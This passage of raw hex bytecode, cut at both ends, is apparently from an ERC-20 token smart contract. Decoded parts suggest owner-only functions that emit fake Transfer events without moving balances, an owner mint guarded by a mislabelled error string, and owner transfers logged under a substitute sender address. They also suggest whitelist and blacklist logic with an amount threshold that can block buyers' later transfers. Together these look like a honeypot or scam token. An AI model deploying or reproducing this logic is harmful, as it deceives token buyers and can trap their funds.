fffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611101565b60405180821515815260200191505060405180910390f35b6103a66111da565b604051808260ff16815260200191505060405180910390f35b610529600480360360608110156103d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561041257600080fd5b82018360208201111561042457600080fd5b8035906020019184602083028401116401000000008311171561044657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156104a657600080fd5b8201836020820111156104b857600080fd5b803590602001918460208302840111640100000000831117156104da57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506111f1565b005b6105776004803603604081101561054157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061135e565b005b6105bb6004803603602081101561058f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061157d565b005b6105c5611684565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106336004803603602081101561060757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116aa565b6040518082815260200191505060405180910390f35b6106516116f2565b005b6107bd6004803603606081101561066957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156106a657600080fd5b8201836020820111156106b857600080fd5b803590602001918460208302840111640100000000831117156106da57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561073a57600080fd5b82018360208201111561074c57600080fd5b8035906020019184602083028401116401000000008311171561076e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506117b7565b005b610801600480360360208110156107d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611924565b60405180821515815260200191505060405180910390f35b610821611a06565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610861578082015181840152602081019050610846565b50505050905090810190601f16801561088e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a06600480360360608110156108b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156108ef57600080fd5b82018360208201111561090157600080fd5b8035906020019184602083028401116401000000008311171561092357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561098357600080fd5b82018360208201111561099557600080fd5b803590602001918460208302840111640100000000831117156109b757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611aa8565b005b610a5460048036036040811015610a1e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c15565b60405180821515815260200191505060405180910390f35b610aae60048036036020811015610a8257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c33565b005b610ab8611d7f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610aec611da5565b005b610c5860048036036060811015610b0457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610b4157600080fd5b820183602082011115610b5357600080fd5b80359060200191846020830284011164010000000083111715610b7557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610bd557600080fd5b820183602082011115610be757600080fd5b80359060200191846020830284011164010000000083111715610c0957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611e6a565b005b610cbc60048036036040811015610c7057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f91565b6040518082815260200191505060405180910390f35b610d1460048036036020811015610ce857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612018565b005b610e8060048036036060811015610d2c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610d6957600080fd5b820183602082011115610d7b57600080fd5b80359060200191846020830284011164010000000083111715610d9d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610dfd57600080fd5b820183602082011115610e0f57600080fd5b80359060200191846020830284011164010000000083111715610e3157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612164565b005b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f1a5780601f10610eef57610100808354040283529160200191610f1a565b820191906000526020600020905b815481529060010190602001808311610efd57829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fe7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156110d557600180600084848151811061100457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061106f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610fea565b5050565b60006110ed6110e6612359565b8484612361565b6001905092915050565b6000600454905090565b600061110e848484612558565b6111cf8461111a612359565b6111ca85604051806060016040528060288152602001614a8860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611180612359565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c329092919063ffffffff16565b612361565b600190509392505050565b6000600760009054906101000a900460ff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b8251811015611358578281815181106112cc57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061132e57fe5b60200260200101516040518082815260200191505060405180910390a380806001019150506112b7565b50505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611421576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611436816004546122d190919063ffffffff16565b6004819055506114af81600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d190919063ffffffff16565b600080600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611640576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461187a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b825181101561191e578373ffffffffffffffffffffffffffffffffffffffff168382815181106118a957fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106118f457fe5b60200260200101516040518082815260200191505060405180910390a3808060010191505061187d565b50505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6119fd826119f5612359565b600854612361565b60019050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a9e5780601f10611a7357610100808354040283529160200191611a9e565b820191906000526020600020905b815481529060010190602001808311611a8157829003601f168201915b5050505050905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b8251811015611c0f578373ffffffffffffffffffffffffffffffffffffffff16838281518110611b9a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef848481518110611be557fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050611b6e565b50505050565b6000611c29611c22612359565b8484612558565b6001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d7c81600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000612361565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b611f4183611f39612359565b600854612361565b60005b8251811015611f8b57611f7e84848381518110611f5d57fe5b6020026020010151848481518110611f7157fe5b6020026020010151612cf2565b8080600101915050611f44565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061216181600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600854612361565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612227576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4e6f7420616c6c6f77656420746f20696e74657261637400000000000000000081525060200191505060405180910390fd5b60005b82518110156122cb5782818151811061223f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106122a157fe5b60200260200101516040518082815260200191505060405180910390a3808060010191505061222a565b50505050565b60008082840190508381101561234f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123e7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614ad56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561246d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614a406022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b8181846000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156126295750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561267f5783600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061267a87878761302f565b612c29565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806127285750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806127805750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561282a57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561280d57508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561281a5782600a819055505b61282587878761302f565b612c28565b60011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156128935761288e87878761302f565b612c27565b60011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156129fa57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806129955750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6129ea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614a626026913960400191505060405180910390fd5b6129f587878761302f565b612c26565b600a54831015612b1b57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b0b576001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b612b1687878761302f565b612c25565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480612bc45750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b612c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614a626026913960400191505060405180910390fd5b612c2487878761302f565b5b5b5b5b5b50505050505050565b6000838311158290612cdf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612ca4578082015181840152602081019050612c89565b50505050905090810190601f168015612cd15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614ab06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614a1d6023913960400191505060405180910390fd5b612e09838383614a17565b612e7481604051806060016040528060268152602001614a62602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c329092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f07816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d190919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612fc557600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b8181846000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156131005750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156134835783600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156131cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614ab06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613252576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614a1d6023913960400191505060405180910390fd5b61325d878787614a17565b6132c885604051806060016040528060268152602001614a62602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c329092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335b856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d190919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561341957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614a0e565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061352c5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806135845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561395b57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561361157508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561361e5782600a819055505b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156136a4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614ab06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561372a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614a1d6023913960400191505060405180910390fd5b613735878787614a17565b6137a085604051806060016040528060268152602001614a62602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c329092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613833856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d190919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156138f157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614a0d565b60011515600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415613cf157600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614ab06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614a1d6023913960400191505060405180910390fd5b613acb878787614a17565b613b3685604051806060016040528060268152602001614a62602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c329092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613bc9856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d190919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613c8757600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614a0c565b60011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561418557600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480613df35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b613e48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614a626026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415613ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614ab06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415613f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614a1d6023913960400191505060405180910390fd5b613f5f878787614a17565b613fca85604051806060016040528060268152602001614a62602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c329092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061405d856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d190919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561411b57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1696505b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3614a0b565b600a548310156145d357600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415614296576001600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561431c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614ab06025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156143a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614a1d6023913960400191505060405180910390fd5b6143ad878787614a17565b61441885604051806060016040528060268152602001614a62602691396000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c329092919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506144ab856000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d190919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffff